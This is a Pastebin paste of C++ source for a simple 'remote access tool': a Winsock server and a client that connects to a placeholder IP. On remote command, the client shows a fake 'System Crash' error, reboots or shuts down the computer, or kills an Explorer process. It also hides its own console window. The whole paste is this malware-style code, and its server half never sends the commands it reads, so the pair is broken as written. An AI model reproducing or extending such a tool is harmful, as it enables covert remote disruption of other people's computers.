Advertisement
Guest User

C++ Remote Access Tool | TEST

a guest
Jun 17th, 2019
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.95 KB | None | 0 0
  1. //Server:
  2. #pragma comment(lib, "ws2_32.lib")
  3. #define _WINSOCK_DEPRECATED_NO_WARNINGS
  4.  
  5. #include <cstdlib>
  6. #include <WinSock2.h>
  7. #include <Windows.h>
  8. #include <iostream>
  9. #include <conio.h>
  10. #include <tchar.h>
  11.  
  12. using namespace std;
  13.  
  14. int main()
  15. {
  16. SetConsoleTitle(L"Server Disconnect");
  17.  
  18. WSADATA wsadata;
  19.  
  20. WSAStartup(MAKEWORD(2, 0), &wsadata);
  21.  
  22. SOCKET list;
  23. list = socket(AF_INET, SOCK_STREAM, 0);
  24.  
  25. sockaddr_in ServerInfo;
  26. ServerInfo.sin_addr.S_un.S_addr = inet_addr("IP HERE");
  27. ServerInfo.sin_port = htons(12345);
  28.  
  29. bind(list, (const sockaddr*)& ServerInfo, sizeof(ServerInfo));
  30.  
  31. listen(list, SOMAXCONN);
  32.  
  33. SOCKET clientaccept;
  34. sockaddr_in ClientInfo;
  35. int ClientInfoSize = sizeof(ClientInfo);
  36.  
  37. bool search = true;
  38.  
  39. while (search == true)
  40. {
  41. clientaccept = accept(list, (sockaddr*)& ClientInfo, &ClientInfoSize);
  42.  
  43. if (clientaccept != SOCKET_ERROR)
  44. {
  45. search = false;
  46. SetConsoleTitle(L"Server Connect");
  47. }
  48. }
  49.  
  50. cout << "1. SendMessage" << endl;
  51. cout << "2. Reboot System" << endl;
  52. cout << "3. Shutdown System" << endl;
  53. cout << "Kill Explorer" << endl;
  54.  
  55. bool connectclient = true;
  56. char Sendbuf[256];
  57.  
  58. while (connectclient == true)
  59. {
  60. ZeroMemory(Sendbuf, 256);
  61.  
  62. cout << "Commend: ";
  63. cin.getline(Sendbuf, 256);
  64.  
  65. if (*Sendbuf == '#')
  66. {
  67. connectclient = false;
  68. closesocket(list);
  69. closesocket(clientaccept);
  70. }
  71. }
  72. return 0;
  73. }
  74.  
  75. // Client:
  76.  
  77. #pragma comment(lib, "ws2_32.lib")
  78. #define _WINSOCK_DEPRECATED_NO_WARNINGS
  79.  
  80. #include <cstdlib>
  81. #include <WinSock2.h>
  82. #include <Windows.h>
  83. #include <iostream>
  84. #include <conio.h>
  85. #include <tchar.h>
  86.  
  87. using namespace std;
  88.  
  89. int main()
  90. {
  91. SetConsoleTitle(L"Client Disconnect");
  92. system("color 0a");
  93.  
  94. WSADATA wsadata;
  95. WSAStartup(MAKEWORD(2, 0), &wsadata);
  96.  
  97. SOCKET list;
  98. list = socket(AF_INET, SOCK_STREAM, 0);
  99.  
  100. sockaddr_in clientinfo;
  101. clientinfo.sin_addr.S_un.S_addr = inet_addr("IP HERE");
  102. clientinfo.sin_family = AF_INET;
  103. clientinfo.sin_port = htons(12345);
  104.  
  105. long CONNECT;
  106. bool search = true;
  107.  
  108. while (search == true)
  109. {
  110. CONNECT = connect(list, (const sockaddr*)& clientinfo, sizeof(clientinfo));
  111. if (CONNECT != INVALID_SOCKET)
  112. {
  113. search = false;
  114. SetConsoleTitle(L"Client Disconnect");
  115. FreeConsole();
  116. }
  117. }
  118.  
  119. bool run = true;
  120. char Recvbuf[256];
  121.  
  122. while (run == true)
  123. {
  124. ZeroMemory(Recvbuf, 256);
  125. recv(list, Recvbuf, 256, 0);
  126.  
  127. if (*Recvbuf == '1')
  128. {
  129. MessageBox(NULL, L"System Crash", L"Error", MB_OK);
  130. }
  131.  
  132. if (*Recvbuf == '2')
  133. {
  134. system("shutdown -r -t0");
  135. }
  136.  
  137. if (*Recvbuf == '3')
  138. {
  139. system("shutdown -s -t0");
  140. }
  141.  
  142. if (*Recvbuf == '4')
  143. {
  144. HWND Explorer = FindWindow(NULL, L"Explorer");
  145. DWORD id = NULL;
  146. GetWindowThreadProcessId(Explorer, &id);
  147. HANDLE OpenP = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
  148.  
  149. TerminateProcess(OpenP, 0);
  150. }
  151.  
  152. if (*Recvbuf == '#')
  153. {
  154. run = false;
  155. }
  156. }
  157. closesocket(list);
  158. return 0;
  159. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement